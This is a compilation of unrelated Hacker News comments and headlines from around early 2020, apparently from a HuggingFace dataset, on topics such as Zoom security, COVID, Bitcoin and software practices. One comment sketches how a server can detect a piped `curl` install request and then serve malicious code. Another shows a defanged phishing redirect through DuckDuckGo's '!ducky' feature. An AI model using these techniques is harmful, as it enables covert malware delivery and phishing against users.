skysight-inc/HackerNews huggingface dataset:
After 2 years - that's my best guess.
I kind of enjoyed it, but it just took so long. Like any military decisions just took like 15 mins to even get started. There's like a fast mode you can enable?
Something crazy is going on inside Opera. My opera extension has been pending review since January 12th, Firefox, Chrome, and Edge have all accepted it.
It doesn’t sound like this is a dead man switch, sounds more like a panic button?
The issue title mentions the sync feature but the same happened with migrations and I don't want code randomly dropping data from my database even if it is in a development environment anyway. But that is not the point because no one would run automatic code like this on production data without some kind safety net. The point I was trying to make is "listing features as non beta doesn't make them stable". As far as I am concerned the alpha preview of Prisma 2 has been far more stable than every other version of TypeORM I had to work with.
That isn't NIH. In fact it is often the opposite of NIH. It is a pre-requisite of becoming a true expert in the technologies that you are using.

NIH is writing your own database and using it in production.

But understanding how to write a database makes it easier to understand why your existing database works the way it does, and what its quirks should be.

For example suppose that you have a slow query. You EXPLAIN ANALYZE to get a query plan. Now what? It really helps if you can say, "What would a program to do this look like? How fast would it be?" And then be able to say, "And if I was to write a program to do this, how would I do it? How fast would that be?" And then if the second is faster you can ask, "How can I get the database to do what I think it should do?" (Hint, in most databases with temporary tables and indexes on them, you can force your desired query plan to within a factor of 2.)

That exercise really helps in optimization. But that exercise is only available to people who know how a database actually works.
> I don't think it's correct to say that it favors popularity over accuracy.

I'm not the one making that claim, I'm just starting from that assumption since the parents are claiming as much
I believe both LendingClub & Prosper started after the last recession.
Having different DNS for different purpose is imo not a great solution for not tech people.
As far as I am aware, intelligence is not the variable we care about with respect to ethical experimentation. Rather, consciousness. All humans are assumed equally conscious, while clearly not equally intelligent.

Similarly, we understand (at least mammalian) brain structure well enough to identify animals like cows to probably have relatively minimal conscious lived experience, even if they have ample processing power, i.e. "intelligence".

So at least in examples from nature, there is no reason to believe that intelligence and conscious lived experience need be correlated meaningfully.

So in your example, we would need some way to quantify the degree to which it's conscious, rather than intelligent.
Wouldn't that discourage automation? By which I mean, wouldn't the economy optimize for busy work instead of producing more value for less effort?
I think it also depends what you're looking for. If you're applying for one of multiple already-existent temporary positions for inexperienced people enthusiastic about learning on the job, appearing to be desperately keen on working for that company specifically probably gives you the edge over many other candidates that might have slightly more impressive universities on their CV. Some fields like marketing might appreciate creative approaches to hacking their recruitment process too, though they'll be more interested in whether your powerpoints are actually good.

If you're a mid-level software engineer trying to get a well-paid job at a company working on completely different technical problems to your skillset and not actively hiring, it's probably wasted effort.
Either way, an economic system that by it's very nature can only provide sub-optimal results is broken.
Fuck.js prank your friends: all getters / setters have a 50/50 chance of working
You can do `(A == B)~ False` but that won't affect type variable unification.

Pretty sure `/~` would break type class coherence under haskell's open world assumption?
I was also confused, but I think it probably isn’t a dead man switch at all, maybe it’s a panic button.
"A public resolver user’s IP address (referred to as the client or source IP address) will not be stored in non-volatile storage. Cloudflare will anonymize source IP addresses via IP truncation methods (last octet for IPv4 and last 80 bits for IPv6). Cloudflare will delete the truncated IP address within 25 hours."

It's the last octet.
If this reason is true then it has the very characteristic stink of reckless endangerment....
Good. There is no way to use a touchscreen effectively while going 80km/h.

It would have to be the smartest touch screen ever, and be able to make assumptions as to what i'm trying to press -- fudge a lot of precision -- and even then I wouldn't know if what I'm touching and what the machine thinks I'm touching are correct without taking my eyes off the road. Meanwhile, I can feel for the 3rd knob or 3rd button and be sure what it is without taking my eyeballs off of the bumper of the car in front of me.
any idea on what it means as malware?
This is aimed at tech people who support nontechnical family members.
Oh yeah, that's true. Even at an exchange, seed fair, whatever, I would probably still only buy seeds from an actual vendor. I'd never considered buying something like seeds from an eBay seller. But yeah, lots of organic heirloom varieties are packaged for commercial sale, eg:

https://www.seedsofchange.com/seeds/vegetables/tomato/organi...

Seedlings are different since with a bit of experience you can tell what most plants are, at least within the broad family— you might end up with hot peppers when you expected sweet ones or something, but you're not going to get marijuana when you thought it would be tomatoes.
Build an app to generate photorealistic faces using TensorFlow and Streamlit
I’ve thought of it like this. The “avoid NIH” rule guides your default attitude on any project you are getting paid to produce. You have limited time, resources, focus, or opportunity for your effort to make a difference.

The history of the Erlang language is a good example [0]. Ericsson engineers did deep dives into over 20 existing languages over three years before proving to themselves a new language needed to exist.

Totally agree that NIH applies to how you make decisions as a professional working for an organization. For personal projects, carte blanche.

0: https://www.erlang.org/course/history
I find that "Clever Hans" is a great metaphor to describe the gulf that exists between current state of the art NLP and human intelligence.
Legitimate question: what is bad about this? I've read all the comments and still don't see a convincing explanation.

Code signing just says you can trust that the software you clicked on came from the actual developer.

It doesn't say anything at all about what the software does. Of course signed software can do whatever it wants. It's not like there's supposed to be some chain of trust that it's only allowed to run further signed code. It's free to run a Python script or shell command or whatever it wants. And installers certainly run scripts.

And as other comments here state, to do anything that requires root privileges, it pops up to ask for your admin password, so it's not getting around that.

I see references to this being a "malware pattern" but no explanation of why or what that means specifically. Zoom is commercial software (not malware) and I don't see how this is a vulnerability (something malware could take advantage of) so I'm not getting it.

Can someone explain what the problem is here? Or is there no problem?
You may need more than a weekend!
> Maybe to you, just like the INR is useless to you as a currency (because you don't live in India).

Apples and Oranges.

> Many people do use Bitcoin as currency, and transact with it every day.

Do they really? To buy what? Other cryptocurrencies?

Virtually nobody accepts Bitcoin as a currency. Some shops accept Bitcoin as the vehicle for transactions in USD or EUR, or whatever. They use services like Bitpay, who pay out in ordinary currencies. Prices are calculated based on the Bitcoin market price in ordinary currencies - plus a markup for volatility and transaction fees, which is generally more expensive than just using the ordinary currencies themselves.

That's not Bitcoin being used like a currency, that's Bitcoin being used like a payment provider, like PayPal. Millions of people transact with PayPal every day, but PayPal is not a currency.

Of course, that one time some guy bought a Pizza or even a House with Bitcoin. That's Bitcoin being used "like a currency". Exceptions to the rule.
Have you seen/heard recently built rescue helos in action?
Been very surprised by them. The loudest thing is the whine of their turbine, but not that loud at all. There are many louder cars and motorcycles on the street. I don't know the type anymore, but it was something built by Airbus Industries, based on some Eurocopter platform. Worlds apart from those old Bell UH-1s!
That's a bit of hairsplitting, but I'll follow your line of thinking to explain what I mean.

Saudi Arabia is asking Muslims to defer Hajj due to coronavirus. Today's high in Mecca is estimated 99F (37C).

Today's high in Porto Alegre, a little bit to the south of Sao Paolo in a state with hundreds of cases, is 89F (32C). That's just about the same temperature as you might find today in Kerala.

All three places -- Brazil, Saudi Arabia, India -- get hot.

The point is that there is no evidence of a magic threshold temperature above which we are safe. We can't assume that summer temperatures decrease contagion. I hope it is true that the virus abates in warm weather, but hope isn't a basis for decision-making.

People in squalid Indian slums are exposed to much sickness and death that would be easily eradicated by access to good medical care, sanitation infrastructure, and reliable pharmaceuticals. Child mortality is alarmingly high in these slums. These poor people are vulnerable. It does them a disservice for government administrators to convince themselves that there may be a simple, inexpensive solution in the form of natural weather patterns. It's an insidious thing, this suggestion. On the one hand, it feels hopeful to think that the climate will interfere with contagion. On the other hand, the idea is harmful because it counteracts the fear of outbreak that should be motivating governments to listen to their public health officials and be proactive and aggressive in mitigating the outbreak.
Something physical would be interesting. Putting on the pink lipstick triggers the alarm. Because, of course, an abusive partner may take away the phone.
Maybe this time we will finally reconsider the multigenerational push to get literally everyone into college. I think such sentiment has been increasingly brewing over the last couple years.
OBS is really great, but beware the latest version has some serious crash issues on Catalina. Seems related to password managers and HTML forms with password inputs. Had my stream crash over and over until I stopped using my browser during the session.
If you just change the audience field, the signature will be invalid, so it might tell you the SP won't accept a bad signature, but it doesn't tell you that the SP would accept a correct-signature-for-wrong-audience assertion. And now we've explored two states in that very big tedium space I mentioned; it still doesn't tell you anything about e.g. canonicalization bugs or cross-domain bugs. Those are much harder to test, because they require your IdP to sign specifically crafted assertions malicious, so you can't test them with your standard Okta install or whatever.

So, sure: you can test this one specific bug by replaying an assertion for a different SP. Or you can make your IdP use new key pairs every time and then you're definitionally immune to the entire bug class forever with every SP. Even if replaying the SP takes 2 minutes, getting the tester to a place where they can exploit it takes way longer for most companies, so it's much more effective to just eliminate entire classes of bugs via policy.

TL;DR: you're right (modulo the amount of time) for this particular bug, but why bother? And if you're going to bother testing, why test for this one specific bug that's cheaper to avoid a different way? (I can think of a reason to test; but then the tedium comes in :))
Reposted tweet: https://twitter.com/DanAmodio/status/1245329512889487361
I was hoping for more actual lessons here.

For those interested in game dev lessons, I wrote up some of the things I learned from making Flash games a decade ago:

http://web.eecs.utk.edu/~azh/blog/8lessons8games.html
Are you sure to support the json-standard instead offering the best speed?
http://seriot.ch/json/parsing.html
I wonder what's the rationale behind releasing this information to the public ...

I understand when they release info about weapons, to let your enemies know what you're capable of or to just sell the tech to foreign customers.

But this thing is a surveillance drone that probably will never be sold, wouldn't it be better to keep it fully secret ?
This is a classic fallacy in regards to abusive relationships. Something along the lines of "just leave the relationship", or, "just press charges for past abuses before the next one comes and have him taken away".
The EU allows flights from the EU, EEA and the UK, but no others, so Germany-UK happens to be allowed but there are no flights from any non-European country to Germany.
Tissue Recellularization: A Grape Made of Meat? [video]
We use it to stream product demo's to Workplace (Facebook product).

Works great!
What the Nurses See
The native parser is C++.
This does largely depend on state. See that NYS has cancelled state exams, and is weighing the options on the graduation-requirement Regents exams: https://chalkbeat.org/posts/ny/2020/03/20/its-official-new-y...

Meanwhile, NYC's mayor has suggested that it's unlikely for schools to resume this school year at all: https://www.silive.com/coronavirus/2020/03/mayor-nyc-schools...

Definitely depends on your region, though. I think you might be jumping the gun a bit w.r.t. serology tests -- consider that the entire United States can only complete something like 20,000 tests per day right now, we're likely going to have to wait for normal tests (like what we're doing now) to become less important before we can even begin to focus resources on serology tests. And when only a small portion of the population has caught COVID, it's still going to be very important to test flu-like illnesses and isolate contacts of infected individuals for months.
You don't need to be a legal expert to negotiate with your boss if you're an undercompensated employee...
That's a bizarrely vindictive attitude.
Is there a smear campaign against Zoom?
I keep seeing all these popular anti Zoom posts online... some of them raise fair concerns, but the timing and consistency seems weird.

puts tinfoil hat on

Looks almost... squints ... organized.

How did this start? What is going on? Any good detectives here?
Sounds interesting and excessively comples;
You can just as easily do this:

- Send X bytes of the script

- Send the line `curl my.server.com/asdjkfh`

- Stop sending data, wait for a request to `/asdjkfh`

- If you receive said request, start sending malicious data

- If you don't, wait 5 seconds and continue sending a "fake" script
I don't think the molecular tools available to wildlife are sophisticated enough to achieve what you are describing (i.e. messing with higher-ish cognitive functions). This would be like modifying our proprioception but ALSO the perception of others ?
So in the cases of domestic abuse, the victims usually contact a charity that organises a way for them to escape safely. That means setting them up with a new place to live, a job so that they can afford to live (as usually victims will be dependent on their partners), etc. This takes a bit of time and the victims usually stay in their abusive environment if they can (due to over capacity of shelters and other reasons, I'm not the most knowledgeable about all this). But a support network will be available and they'll have a number to call, or friends and family that they can call instead.

The problem is that even though this support network exists, victims often have their phones taken away from their abusers so they end up stuck. If friends and family go round to the house, their abusers can refuse entry and say that the victim is fine or sleeping when in fact they're in danger. This app does not intend to phone authorities, it is down to the individual support network to organise that as they see fit, this app only intends to reach out to the support network as fast as possible when it is needed. If there is a true emergency and they can call emergency services then they can do so, emergency services are set up to handle this. In the case that the victims only want to notify their support network then they can do so from the app using the panic button.

It might be the case in the future that I build contacts with emergency services for a more involved response but I simply do not have the contacts at this point in time.
Yes, this is also what Sketch does, and it's great!
Wow a textbook example of dog whistling on HN of all places! I never thought I'd see the day...
I didn't find his email professionally immature. I think it's an overstatement to somehow infer that these emails signal a lackey.
Or "Adult Content?"
I actually hope they will just fix all of their security/privacy issues

Yes, me too! I was going to edit my comment again to clarify, but I figured it wasn’t worthwhile trying to list all the caveats explicitly. But yes, if they fix this stuff and continue to be successful, that would be good.

How many security issues we (software engineers) create on a daily bases simply because the management needs something for yesterday?

I disagree with your premise there. Sure, security bugs can sneak in if you’re rushed, but that’s qualitatively different from actively exploiting security holes and using dark UI patterns to make your own life easier. I hope most engineers would refuse to implement feature requests like that. It should be considered a form of malpractice.
This is pure speculation but Shazam is a UK company and I'm 99% convinced that if they had locked the app to iOS, the European Commission would have blocked the deal and maybe sued them for anti-competitive practices.
It depends how valuable you are in the labor market. If you are valuable, then you’ll want to be able to gamble a bit and maximize earnings. If you’re not, you’ll want security.
Misleading title, Zoom doesn't divulge the password hash, but also doesn't prevent users from clicking on UNCs.

Having fallen out of paying attention to Windows Server over the past few years, I'd be a little surprised if the weak NTLM hash is still on by default in current versions of Windows (although that's not to say most of the Windows install base isn't in obsolescence).
I started using OBS when our church moved our services to live streaming due to the pandemic. Our mostly non-technical volunteer media team has had zero issues using it to stream to Facebook or a self-hosted Restreamer instance. Easy to use, straightforward interface. I'm sure we'll keep using it for streaming even after the pandemic is over.
Not ads-based, but I'd imagine their "I'm feeling ducky" re-director feature could be abused for phishing links quite easily. duckduckgo.com/?q=!ducky+hxxp://badguydomain.com. Google's I'm feeling lucky re-director was already caught being used for phishing re-direction (and patched with a click-through). https://www.microsoft.com/security/blog/2019/12/11/the-quiet...
Elon Musk Has Played an Extremely Dangerous Game
Referring to reassignment of automated machine output? I don't see this slowing automation much. It makes for a simpler, more reliable process across the business. Why deal with hiring people when automation solves it forever?

And even if some folks do decide to go the 'boutique' route and hand-make something, there is always another person who will go the automated route and cut their prices by 90%. Free market after all.

It will be upsetting for sure. Lots of entrenched interests in renting automation at high rates. Maybe have to do it in a phased approach - VAT or some such?
The BBC have an article on Zoom security today, where the lack of clear technical statements in the response is quite striking if you are concerned about online security:

https://www.bbc.co.uk/news/business-52115434

One interesting point was that the most senior figures in the UK government have been using Zoom to conduct official meetings while several of them are in isolation at home due to the virus. That is concerning given the reported lack of basic security features like full encryption.
I'm afraid step 4 is optional.
More likely, I think, that lots of devs are being asked/instructed to install it, perform due diligence and are not happy with what they find ...
"Having places shut down and places not shut down is like having a peeing section in the pool."

-- Fun comment on Reddit from user deafmute88
Snowpack – How It Works?
CFEngine migrates to FORTH language for policy in release 4.0.-4
> Because, of course, an abusive partner may take away the phone.

That's the point of the app, isn't it? If you don't use the App for some amount of time, the alarm gets triggered.
Prosper existed before the 2008 GFC/recession. I had thousands of dollars worth of notes that went bad during it.
Snowpack and Rollup: A match made in heaven
related "Ask HN: Why so many negative news about Zoom on HN recently?" https://news.ycombinator.com/item?id=22743303
This has me very worried. Today I went out for groceries, and when I returned, put the groceries down, took off my shoes/sweater/pants and went to go wash my hands, I realized my cat is absolutely compelled to go over and sniff anything I've placed on the ground. If there are any droplets on my clothing or the items I've brought in, he might get infected, and then infect me later. An infection from a surface contact is mild, but an infection from a "generator" of virus (i.e. a human or a cat) can be life threatening.
QEMU 5.0-Rc1 Released for Linux with the Stable Update Coming This Month
LinkedIn is too easy. It is not the place for cold outreaches, unless it is one small part of a recruiter's outreach strategy.

With enough dedication you should be able to find some contact details.
It amazes me that the rich spend their younger days talking about deregulation and the free-markets, but when there's real need to take action, they always fall back upon regulation, public investment, and centralized actions.
Architecture for a Multilingual Wikipedia [pdf]
Nope. There are many kinds of domestic abuse, most of them leave no proof whatsoever. I'm a very large guy, and if I had tried to say that nobody would have possibly believed me. No matter how true and horrible it was.
https://github.com/nytimes/covid-19-data This shows an "unexpected" inflection point starting March 28 which slowed the USA death growth from 2.7 day doubling to 3.4 days doubling. Even at that slower rate 900 million Americans would be dead by the end of May, so obviously there will be a major slowdown in deaths over the next 8 weeks.

https://neherlab.org/covid19/ indicates maybe sometime between July and October things will normalize (ICU's will no longer be over capacity).

https://aatishb.com/covidtrends/ The phase space plot from Johns Hopkins dataset still shows no recent improvement of trajectory, in contrast to the NYT dataset.
I dunno; I don't know if I really like or trust cloudflare, but I'm sure I trust them more than my ISP.
Linux 5.7 for ARM64 Brings In-Kernel Pointer Authentication, Activity Monitors